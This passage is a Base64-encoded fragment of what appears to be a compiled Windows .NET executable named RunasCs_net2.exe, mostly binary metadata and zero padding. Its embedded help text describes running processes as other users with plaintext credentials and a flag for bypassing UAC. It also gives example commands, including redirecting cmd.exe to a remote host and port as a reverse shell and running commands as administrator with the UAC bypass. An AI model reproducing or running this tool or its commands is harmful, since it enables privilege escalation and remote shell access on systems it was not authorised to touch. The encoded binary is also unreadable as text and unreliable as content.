QBuAHYAaQByAG8AbgBtAGUAbgB0ACAAdgBhAHIAaQBhAGIAbABlAHMAIABjAG8AcgByAGUAYwB0AGwAeQAgAHMAZQB0AC4ADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAATgBPAFQARQA6ACAAdABoAGkAcwAgAHcAaQBsAGwAIABsAGUAYQB2AGUAIABzAG8AbQBlACAAZgBvAHIAZQBuAHMAaQBjAHMAIAB0AHIAYQBjAGUAcwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABiAGUAaABpAG4AZAAgAGMAcgBlAGEAdABpAG4AZwAgAHQAaABlACAAdQBzAGUAcgAgAHAAcgBvAGYAaQBsAGUAIABkAGkAcgBlAGMAdABvAHIAeQAuAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEMAbwBtAHAAYQB0AGkAYgBsAGUAIABvAG4AbAB5ACAAdwBpAHQAaAAgAC0AZgAgAGYAbABhAGcAcwA6AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAMQAgAC0AIABDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzAFcAaQB0AGgAVABvAGsAZQBuAFcADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAyACAALQAgAEMAcgBlAGEAdABlAFAAcgBvAGMAZQBzAHMAVwBpAHQAaABMAG8AZwBvAG4AVwANAAoAIAAgACAAIAAtAGIALAAgAC0ALQBiAHkAcABhAHMAcwAtAHUAYQBjACAAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAB0AGgAaQBzACAAZgBsAGEAZwAgAGkAcwAgAHMAcABlAGMAaQBmAGkAZQBkACAAUgB1AG4AYQBzAEMAcwAgAHcAaQBsAGwAIAB0AHIAeQAgAGEAIABVAEEAQwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABiAHkAcABhAHMAcwAgAHQAbwAgAHMAcABhAHcAbgAgAGEAIABwAHIAbwBjAGUAcwBzACAAdwBpAHQAaABvAHUAdAAgAHQAbwBrAGUAbgAgAGwAaQBtAGkAdABhAHQAaQBvAG4ADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKABuAG8AdAAgAGYAaQBsAHQAZQByAGUAZAApAC4ADQAKAA0ACgBFAHgAYQBtAHAAbABlAHMAOgANAAoAIAAgACAAIABSAHUAbgAgAGEAIABjAG8AbQBtAGEAbgBkACAAYQBzACAAYQAgAHMAcABlAGMAaQBmAGkAYwAgAGwAbwBjAGEAbAAgAHUAcwBlAHIADQAKACAAIAAgACAAIAAgACAAIABSAHUAbgBhAHMAQwBzAC4AZQB4AGUAIAB1AHMAZQByADEAIABwAGEAcwBzAHcAbwByAGQAMQAgAHcAaABvAGEAbQBpAA0ACgAgACAAIAAgAFIAdQBuACAAYQAgAGMAbwBtAG0AYQBuAGQAIABhAHMAIABhACAAcwBwAGUAYwBpAGYAaQBjACAAZABvAG0AYQBpAG4AIAB1AHMAZQByACAAYQBuAGQAIABpAG4AdABlAHIAYQBjAHQAaQB2AGUAIABsAG8AZwBvAG4AIAB0AHkAcABlACAAKAAyACkADQAKACAAIAAgACAAIAAgACAAIABSAHUAbgBhAHMAQwBzAC4AZQB4AGUAIAB1AHMAZQByADEAIABwAGEAcwBzAHcAbwByAGQAMQAgAHcAaABvAGEAbQBpACAALQBkACAAZABvAG0AYQBpAG4AIAAtAGwAIAAyAA0ACgAgACAAIAAgAFIAdQBuACAAYQAgAGIAYQBjAGsAZwByAG8AdQBuAGQALwBhAHMAeQBuAGMAIABwAHIAbwBjAGUAcwBzACAAYQBzACAAYQAgAHMAcABlAGMAaQBmAGkAYwAgAGwAbwBjAGEAbAAgAHUAcwBlAHIALAANAAoAIAAgACAAIAAgACAAIAAgAFIAdQBuAGEAcwBDAHMALgBlAHgAZQAgAHUAcwBlAHIAMQAgAHAAYQBzAHMAdwBvAHIAZAAxACAAIgAlAEMATwBNAFMAUABFAEMAJQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGUAbgBjAC4ALgAuACIAIAAtAHQAIAAwAA0ACgAgACAAIAAgAFIAZQBkAGkAcgBlAGMAdAAgAHMAdABkAGkAbgAsACAAcwB0AGQAbwB1AHQAIABhAG4AZAAgAHMAdABkAGUAcgByACAAbwBmACAAdABoAGUAIABzAHAAZQBjAGkAZgBpAGUAZAAgAGMAbwBtAG0AYQBuAGQAIAB0AG8AIABhACAAcgBlAG0AbwB0AGUAIABoAG8AcwB0AA0ACgAgACAAIAAgACAAIAAgACAAUgB1AG4AYQBzAEMAcwAuAGUAeABlACAAdQBzAGUAcgAxACAAcABhAHMAcwB3AG8AcgBkADEAIABjAG0AZAAuAGUAeABlACAALQByACAAMQAwAC4AMQAwAC4AMQAwAC4AMgA0ADoANAA0ADQANAANAAoAIAAgACAAIABSAHUAbgAgAGEAIABjAG8AbQBtAGEAbgBkACAAcwBpAG0AdQBsAGEAdABpAG4AZwAgAHQAaABlACAALwBuAGUAdABvAG4AbAB5ACAAZgBsAGEAZwAgAG8AZgAgAHIAdQBuAGEAcwAuAGUAeABlACAADQAKACAAIAAgACAAIAAgACAAIABSAHUAbgBhAHMAQwBzAC4AZQB4AGUAIAB1AHMAZQByADEAIABwAGEAcwBzAHcAbwByAGQAMQAgAHcAaABvAGEAbQBpACAALQBkACAAZABvAG0AYQBpAG4AIAAtAGwAIAA5AA0ACgAgACAAIAAgAFIAdQBuACAAYQAgAGMAbwBtAG0AYQBuAGQAIABhAHMAIABhAG4AIABBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByACAAYgB5AHAAYQBzAHMAaQBuAGcAIABVAEEAQwANAAoAIAAgACAAIAAgACAAIAAgAFIAdQBuAGEAcwBDAHMALgBlAHgAZQAgAGEAZABtADEAIABwAGEAcwBzAHcAbwByAGQAMQAgACIAdwBoAG8AYQBtAGkAIAAvAHAAcgBpAHYAIgAgAC0ALQBiAHkAcABhAHMAcwAtAHUAYQBjAA0AC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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFjgAABcAgAAAAAAAAAAAABcAjQAAABWAFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAAAAAAAAAAAAAAAAAAAPwAAAAAAAAAEAAAAAQAAAAAAAAAAAAAAAAAAAEQAAAABAFYAYQByAEYAaQBsAGUASQBuAGYAbwAAAAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAAALAEvAEAAAEAUwB0AHIAaQBuAGcARgBpAGwAZQBJAG4AZgBvAAAAmAEAAAEAMAAwADAAMAAwADQAYgAwAAAALAACAAEARgBpAGwAZQBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAACAAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADAALgAwAC4AMAAuADAAAABEABEAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAFIAdQBuAGEAcwBDAHMAXwBuAGUAdAAyAC4AZQB4AGUAAAAAACgAAgABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAACAAAABMABEAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAUgB1AG4AYQBzAEMAcwBfAG4AZQB0ADIALgBlAHgAZQAAAAAANAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA